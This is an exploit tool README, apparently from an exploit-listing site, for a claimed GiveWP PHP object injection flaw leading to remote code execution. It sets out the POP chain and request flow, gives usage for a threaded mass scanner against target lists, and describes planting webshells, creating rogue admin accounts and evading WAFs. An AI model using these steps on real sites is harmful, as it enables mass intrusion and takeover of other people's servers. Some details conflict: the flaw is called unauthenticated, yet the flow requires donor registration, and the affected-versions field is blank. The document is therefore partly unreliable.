## https://sploitus.com/exploit?id=B4281041-F26F-5D2D-9C83-9BA4A058BF7E
# CVE-2026-82222 — GiveWP **Author:** Rx019
> **CVSS:** 10.0 (Critical)
> **Type:** Unauthenticated PHP Object Injection → Remote Code Execution
> **Plugin:** GiveWP (give) — Donation Plugin and Fundraising Platform
> **Affected:** **Patched:** 4.16.8
---
## Description
GiveWP stores a donor's `last_name` in the PHP session without sanitization. When a donation is submitted **without** the `give_last` field, GiveWP deserializes the raw value from the database directly into the session. This allows an unauthenticated attacker to inject a PHP serialized object into `last_name` via the donor profile endpoint, then trigger deserialization by submitting a crafted donation — resulting in arbitrary command execution via a pre-built POP chain available in GiveWP's bundled vendor libraries.
---
## POP Chain
```
TCPDF::__destruct()
└─ Session::getBag() ← calls method named by $attributeName
└─ DonationFactory::__call()
└─ system($command) ← $command from $attributeName
```
**Vendor classes used:**
| Class | File |
|---|---|
| `TCPDF` | `vendor/tecnickcom/tcpdf/tcpdf.php` |
| `Give\Vendors\Symfony\...\Session` | `vendor/symfony/http-foundation/Session/Session.php` |
| `Give\TestData\Factories\DonationFactory` | `src/TestData/Factories/DonationFactory.php` |
---
## Exploit Flow
```
1. Register as donor → authenticated session (wp-login cookie)
2. POST /wp-admin/profile.php
last_name = serialized TCPDF chain with embedded system() command
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (give_last field OMITTED)
→ GiveWP reads last_name from DB, writes raw object into session
4. GET /?p={form_id}
→ PHP session teardown fires TCPDF::__destruct()
→ POP chain executes system(command)
5. Confirm shell / admin created
```
---
## Requirements
```bash
pip install requests rich
```
Python >= 3.9
---
## Files
| File | Description |
|---|---|
| `CVE-2026-82222.py` | Single-target PoC — verbose step-by-step output |
| `CVE-2026-82222-MASS.py` | Mass scanner — threaded batch mode |
---
## Usage
### Single Target
```bash
python CVE-2026-82222.py
```
Interactive prompt:
```
Target URL: https://victim.com
```
Or direct:
```bash
python CVE-2026-82222.py https://victim.com
```
### Mass Scanner
```bash
# Batch from file
python CVE-2026-82222-MASS.py -f targets.txt
# Custom thread count
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# Multiple targets inline
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# Interactive menu
python CVE-2026-82222-MASS.py
```
**Batch file format:**
```
# Lines starting with # are ignored
https://target1.com
https://target2.com
target3.com # protocol auto-prefixed as https://
http://target4.com
```
---
## Output
### Single Mode
```
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Version : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Method : shell + direct (no .php write needed) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 (rxadm@hotrx.com) │
│ │
╰────────────────────────────────────────────────────────╯
```
### Batch Summary
```
Vulnerable : 12 Partial : 3 Patched : 44 Not Vuln : 21 Errors : 2 Total : 82
```
Results saved to `~/Documents/CVE/CVE-2026-82222/`:
| File | Contents |
|---|---|
| `CVE-2026-82222_YYYYMMDD_HHMMSS.txt` | Single-run result |
| `CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt` | Full batch results |
| `success_results.txt` | Appended VULN/PARTIAL lines |
---
## Attack Paths
The exploit attempts two primary paths in sequence:
### Path A — Direct Admin (no shell file written)
1. Inject `wp_create_user()` PHP code as base64 into the TCPDF chain
2. Fire the chain — GiveWP executes the code server-side
3. Verify by logging in as the created admin
4. Drop shell via WordPress plugin/theme file editor
### Path B — GiveWP Chain Shell Drop
Used when Path A fails or admin login cannot be verified.
1. Register a **fresh donor session** (new PHP session file — avoids lock contention from Path A's worker)
2. Inject shell-drop command into `last_name` via profile endpoint
3. Contaminate session (donate without `give_last`)
4. Trigger deserialization (`/?p={form_id}`)
5. Confirm shell presence across upload/plugin/theme directories
6. Fallback: `id | tee` beacon to a `.txt` file in uploads
### Path C — Admin via Shell
If a shell is confirmed but no admin exists yet, create one via the shell using `wp_create_user()` through the webshell's `?c=` parameter.
---
## WAF Handling
| WAF | Strategy |
|---|---|
| Imunify360 | Strip X-Forwarded-For / X-Real-IP spoof headers |
| Wordfence | Rotate User-Agent from pool |
| Cloudflare | Set Accept-Encoding: gzip, deflate, br |
---
## Notes
- The exploit requires GiveWP to have at least one published donation form
- Registration must be enabled on the target site (WordPress core setting)
- PHP-FPM worker pool drain: a 30-second sleep is inserted after the direct admin chain to allow the session-holding worker to release before subsequent requests
- `DISALLOW_FILE_EDIT` in `wp-config.php` blocks the plugin/theme editor vector — the script detects this early and falls through to Path B
- Shell filename: `Rx{100-999}.php` — randomized per run
---
## Disclaimer
This tool is released for **authorized security testing and research purposes only**.
Use only against systems you own or have explicit written permission to test.
Unauthorized use is illegal and unethical.